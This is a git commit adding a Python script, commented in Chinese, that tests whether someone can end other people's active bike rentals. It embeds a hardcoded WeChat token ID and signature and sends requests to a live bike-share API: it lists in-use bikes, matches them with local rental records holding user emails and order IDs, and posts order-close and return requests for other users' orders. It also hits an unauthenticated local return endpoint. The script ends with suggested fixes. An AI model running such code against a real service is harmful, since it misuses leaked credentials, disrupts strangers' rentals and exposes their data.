初版:小白超人(从线上实例导出)

This commit is contained in:
deploy
2026-10-29 15:20:39 +08:00
commit b77a309873
100 changed files with 32168 additions and 0 deletions
+479
View File
@@ -0,0 +1,479 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
测试:关闭他人正在使用的车辆 — 攻击可行性验证
============================================
使用 app.py 中硬编码的凭据 (token_id=1499773, wx_signature=db057ef3...) 进行测试。
不修改任何现有代码。
测试内容:
1. 从地图获取"使用中"的车辆(直连微信 API)
2. 在本地 DB 中查找匹配的租车记录
3. 用微信 API 尝试关车(他人的订单)
4. 如 Flask 可用,额外测试本地无验证还车接口
"""
import json
import sqlite3
import time
import hashlib
import sys
import os
from pathlib import Path
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
import requests
except ImportError:
print("[!] 需要安装 requests 库: pip install requests")
sys.exit(1)
# Windows GBK 编码兼容
if sys.platform == "win32":
sys.stdout.reconfigure(encoding="utf-8") # type: ignore
# ============================================================
# 配置
# ============================================================
FLASK_BASE = "http://localhost:98"
WECHAT_BASE = "https://bike.sdlongren.com"
# app.py 中硬编码的凭据
TOKEN_ID = "1499773"
WX_SIGNATURE = "db057ef3a4dfa497c918996448ab05226e198371"
DB_PATH = Path(__file__).parent / "users.db"
WECHAT_HEADERS = {
"Host": "bike.sdlongren.com",
"hsf-x-signature": WX_SIGNATURE,
"hsf-x-timestamp": "",
"hsf-x-tokenid": TOKEN_ID,
"xweb_xhr": "1",
"platform": "xiaobai",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 "
"MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI "
"MiniProgramEnv/Windows WindowsWechat/WMPF "
"WindowsWechat(0x63090c38)XWEB/8518",
"content-type": "application/json",
"accept": "*/*",
"accept-language": "*",
"sec-fetch-site": "cross-site",
"sec-fetch-mode": "cors",
"sec-fetch-dest": "empty",
"referer": "https://servicewechat.com/wx10426ca961518f43/98/page-frame.html",
}
# ============================================================
# 工具函数
# ============================================================
def compute_signature(token_id: str, timestamp: str, method: str, path: str,
data: dict = None, params: dict = None) -> str:
"""模拟 app.py 中的签名算法 (SHA256 取前40位)"""
if method.upper() == "GET":
params_str = ""
if params:
sorted_params = sorted(params.items())
params_str = "&".join(f"{k}={v}" for k, v in sorted_params)
raw = f"{token_id}{method}{path}{timestamp}{params_str}"
else:
body_str = json.dumps(data, separators=(",", ":")) if data else ""
raw = f"{token_id}POST{path}{timestamp}{body_str}"
return hashlib.sha256(raw.encode()).hexdigest()[:40]
def wechat_request(method: str, path: str, data: dict = None,
params: dict = None) -> dict:
"""用硬编码凭据直接请求微信 API"""
timestamp = str(int(time.time()))
sig = compute_signature(TOKEN_ID, timestamp, method, path, data, params)
headers = WECHAT_HEADERS.copy()
headers["hsf-x-timestamp"] = timestamp
headers["hsf-x-signature"] = sig
url = f"{WECHAT_BASE}{path}"
try:
if method.upper() == "GET":
resp = requests.get(url, params=params, headers=headers,
timeout=10, verify=False)
else:
resp = requests.post(url, json=data, headers=headers,
timeout=10, verify=False)
return resp.json()
except Exception as e:
return {"rtn_code": -1, "error": str(e)}
def is_flask_alive() -> bool:
"""检查本地 Flask 是否在运行"""
try:
r = requests.get(f"{FLASK_BASE}/", timeout=3)
return r.status_code < 500
except Exception:
return False
def test_flask_rental_return(rental_id) -> dict:
"""测试本地无验证还车接口"""
try:
r = requests.post(
f"{FLASK_BASE}/api/rental/return",
json={"rental_id": rental_id},
timeout=5
)
return r.json()
except Exception as e:
return {"rtn_code": -1, "error": str(e)}
def get_local_db() -> sqlite3.Connection:
if not DB_PATH.exists():
print(f" [!] 数据库文件不存在: {DB_PATH}")
return None
conn = sqlite3.connect(str(DB_PATH))
conn.row_factory = sqlite3.Row
return conn
def bike_status_label(state: int, status: int) -> str:
if state == 1 and status == 1:
return "使用中"
elif state == 1:
return "可用"
elif state == 4:
return "欠压"
elif state == 2:
return "损坏"
elif state == 10:
return "低电量"
return f"未知(state={state},status={status})"
def print_title(title: str):
print()
print("=" * 65)
print(f" {title}")
print("=" * 65)
# ============================================================
# 步骤 A:从地图获取使用中的车辆
# ============================================================
def step_a_find_inuse_bikes():
print_title("步骤 A:从地图获取车辆列表,筛选使用中的车辆")
# 直接调微信 API(Flask 可能不在本地运行)
result = wechat_request("GET", "/project/map", params={"type": "3"})
if result.get("rtn_code") != 0:
print(f" [错误] 微信地图API请求失败: {result.get('message', '未知')}")
return []
data = result.get("data", {})
stations = data.get("bicycleStation", [])
if not stations:
print(" [!] 无车辆数据(type=3),尝试 type=1...")
result = wechat_request("GET", "/project/map", params={"type": "1"})
data = result.get("data", {})
stations = data.get("bicycleStation", [])
if not stations:
print(" [!] 无车辆数据(type=1),尝试 type=6...")
result = wechat_request("GET", "/project/map", params={"type": "6"})
data = result.get("data", {})
stations = data.get("bicycleStation", [])
if not stations:
print(" [错误] 所有 type 均未获取到车辆数据")
return []
print(f" 共获取到 {len(stations)} 辆车")
print()
inuse_bikes = []
for bike in stations:
state = bike.get("state", 0)
status = bike.get("status", 0)
code = bike.get("code", "???")
lat = bike.get("latitude", "?")
lng = bike.get("longitude", "?")
label = bike_status_label(state, status)
marker = "🟢" if state == 1 and status == 1 else "⚪"
print(f" {marker} [{label:8s}] code={code} ({lat}, {lng})")
if state == 1 and status == 1:
inuse_bikes.append(bike)
print(f"\n >>> 使用中的车辆共 {len(inuse_bikes)} 辆")
return inuse_bikes
# ============================================================
# 步骤 B:在本地 DB 中按 bike_code 查找租车记录
# ============================================================
def step_b_query_local_rentals(inuse_bikes):
print_title("步骤 B:在本地 DB (rentals 表) 中按 bike_code 查找活跃租车记录")
conn = get_local_db()
if not conn:
return []
matched = []
cursor = conn.cursor()
for bike in inuse_bikes:
code = bike.get("code", "")
cursor.execute(
"SELECT id, order_id, bike_code, email, user_id, start_time, "
"end_time, expired, source FROM rentals "
"WHERE bike_code = ? AND expired = 0",
(code,)
)
row = cursor.fetchone()
if row:
matched.append((bike, dict(row)))
print(f" [匹配] code={code} ->"
f" rental_id={row['id']}"
f" order_id={row['order_id']}"
f" email={row['email']}"
f" source={row['source']}"
f" end_time={row['end_time']}")
else:
print(f" [无记录] code={code} -> 不是通过本系统租的")
conn.close()
if not matched:
print("\n >>> 没有找到任何在本地 DB 中有记录的使用中车辆")
else:
print(f"\n >>> 共 {len(matched)} 辆车在本地有租车记录")
return matched
# ============================================================
# 步骤 C:尝试用本地 Flask API 关车(无身份验证)
# ============================================================
def step_c_attack_local(matched, flask_ok):
print_title("步骤 C:通过本地 API (POST /api/rental/return) 无身份验证关车")
if not flask_ok:
print(" [!] Flask 未在本地运行,跳过此步骤")
print(" [i] 如想测试此路径,请先启动 Flask 服务")
return 0
if not matched:
print(" [!] 无本地租车记录,跳过")
return 0
success = 0
for bike, rental in matched:
rental_id = rental["id"]
code = bike.get("code", "")
print(f"\n 目标: code={code}, rental_id={rental_id}")
result = test_flask_rental_return(rental_id)
print(f" 返回: {json.dumps(result, ensure_ascii=False)}")
if result.get("rtn_code") == 0:
success += 1
print(f" >>> 攻击成功!DB expired 已设为 1")
print(f" (仅本地计时取消,物理车锁不受影响)")
return success
# ============================================================
# 步骤 D:用微信 API 尝试关车
# ============================================================
def step_d_attack_wechat(matched):
print_title("步骤 D:用硬编码微信凭据尝试关车")
print(f" 凭据: token_id={TOKEN_ID}")
print()
# D1: 查看这个账号自己的订单
print(" [D1] 查 /user/info 看本账号状态...")
info = wechat_request("GET", "/user/info")
if info.get("rtn_code") != 0:
print(f" [错误] user/info 失败: {info.get('message', info)}")
print(" [!] 该凭据可能已失效或被服务器拒绝")
return 0
data = info.get("data", {})
non_deal_order = data.get("nonDealOrder")
if non_deal_order and non_deal_order.get("order_id"):
order_id = non_deal_order.get("order_id")
code = non_deal_order.get("code", "???")
print(f" [i] 本账号有活跃订单: order_id={order_id}, code={code}")
print(f" [i] (这是你自己的,关自己的车合法,跳过)")
else:
print(f" [i] 本账号无活跃订单")
# D2: 尝试关别人的车(从 matched 中取 order_id)
success = 0
if matched:
print()
print(" [D2] 尝试用本账号凭据关别人的订单...")
for bike, rental in matched:
code = bike.get("code", "")
order_id = rental.get("order_id")
lat = bike.get("latitude", 36.67)
lng = bike.get("longitude", 116.98)
if not order_id:
print(f" [i] code={code}: 本地 rental 无 order_id (source={rental['source']}),跳过")
continue
print(f"\n 目标: code={code}, order_id={order_id}")
print(f" 调用 POST /record/orderClose ...")
# 先调 orderClose (小程序主流程)
result = wechat_request("POST", "/record/orderClose", data={
"order_id": order_id,
"longitude": str(lng),
"latitude": str(lat),
})
print(f" 返回: {json.dumps(result, ensure_ascii=False)}")
if result.get("rtn_code") == 0:
success += 1
print(f" >>> 成功!但这是否关的是别人的车需验证")
# 再试 /record/return (备用)
print(f" 调用 POST /record/return ...")
result2 = wechat_request("POST", "/record/return", data={
"order_id": order_id,
"longitude": str(lng),
"latitude": str(lat),
})
print(f" 返回: {json.dumps(result2, ensure_ascii=False)}")
else:
print()
print(" [D2] 无他人的 order_id 可用,无法测试")
print(" [i] 微信 API 没有「根据 bike_code 查 order」的接口")
print(" [i] /user/info 只返回自己的 nonDealOrder")
# D3: 即使不知道别人的 order_id,尝试枚举别人的活跃租车
if matched:
print()
print(" [D3] 结论验证:")
for bike, rental in matched:
order_id = rental.get("order_id")
if not order_id:
continue
print(f" - 已尝试关闭 order_id={order_id} (code={bike.get('code')})")
else:
print()
print(" [D3] 总结:没有拿到他人的 order_id,微信API攻击无法进行")
return success
# ============================================================
# 步骤 E:分析报告
# ============================================================
def step_e_report(inuse_count, matched_count,
local_ok, local_success,
wechat_success):
print()
print("=" * 65)
print(" 📋 最终分析报告")
print("=" * 65)
print()
print(f" 地图上使用中的车辆: {inuse_count} 辆")
print(f" 本地 DB 有租车记录: {matched_count} 辆")
print(f" 本地 API 攻击成功: {local_success} 次"
f" {'(Flask 未运行)' if not local_ok else ''}")
print(f" 微信 API 攻击成功: {wechat_success} 次")
print()
print(" ┌──────────────────────────┬─────────────────────────────────┐")
print(" │ 攻击路径 │ 结论 │")
print(" ├──────────────────────────┼─────────────────────────────────┤")
print(" │ ① 本地 /api/rental/return │ ⚠️ 存在漏洞,但仅影响本地计时 │")
print(" │ (无身份验证) │ 不锁物理车锁 │")
print(" ├──────────────────────────┼─────────────────────────────────┤")
print(" │ ② WeChat /record/ │ ❌ 无法通过 bike_code 查到 │")
print(" │ orderClose │ 他人的 order_id │")
print(" │ (用他人凭据) │ 即使知道 order_id 也需 │")
print(" │ │ 服务端校验订单归属 │")
print(" └──────────────────────────┴─────────────────────────────────┘")
print()
print(" 🔴 攻击可行性总结")
print()
print(" 1) 本地 API 攻击(real but limited):")
print(" - POST /api/rental/return 无任何身份验证")
print(" - 知道 rental_id 即可标记 expired=1,取消邮件提醒")
print(" - rental_id 是自增 ID,可枚举(1, 2, 3, ...)")
print(" - 但仅影响本系统的计时记录,不调用微信锁车 API")
print(" - 受害者若无实际开锁(仅用计时模式),影响较大")
print()
print(" 2) 微信 API 直接攻击(not feasible):")
print(" - 微信 API 没有「bike_code → order_id」的接口")
print(" - /user/info 只返回自己的 nonDealOrder")
print(" - 即使通过本地 DB 拿到别人 order_id")
print(" - 服务端会校验订单是否属于调用者的账号")
print(" - 物理车锁无法被第三方关闭")
print()
print(" 🛡️ 修复建议(针对漏洞①)")
print()
print(" 1. POST /api/rental/return 应调用 get_current_user()")
print(" 2. 验证 rental_id 的 email 字段等于当前用户")
print(" 3. 前端 confirmReturn() 应传入 Authorization 头")
print(" 4. 不要对外暴露 SQLite 数据库文件")
print()
# ============================================================
# 主流程
# ============================================================
def main():
print("=" * 65)
print(" 关闭他人正在使用的车辆 — 攻击可行性测试")
print("=" * 65)
print(f" WeChat API: {WECHAT_BASE}")
print(f" 凭据: token_id={TOKEN_ID}")
print(f" 数据库: {DB_PATH}")
print()
flask_ok = is_flask_alive()
print(f" 本地 Flask: {'🟢 运行中' if flask_ok else '🔴 未运行(将跳过本地 API 测试)'}")
print()
# 步骤 A:获取地图车辆
inuse_bikes = step_a_find_inuse_bikes()
# 步骤 B:查本地 DB
matched = step_b_query_local_rentals(inuse_bikes)
# 步骤 C:本地 API 攻击
local_success = step_c_attack_local(matched, flask_ok)
# 步骤 D:微信 API 攻击
wechat_success = step_d_attack_wechat(matched)
# 步骤 E:报告
step_e_report(
inuse_count=len(inuse_bikes),
matched_count=len(matched),
local_ok=flask_ok,
local_success=local_success,
wechat_success=wechat_success,
)
if __name__ == "__main__":
main()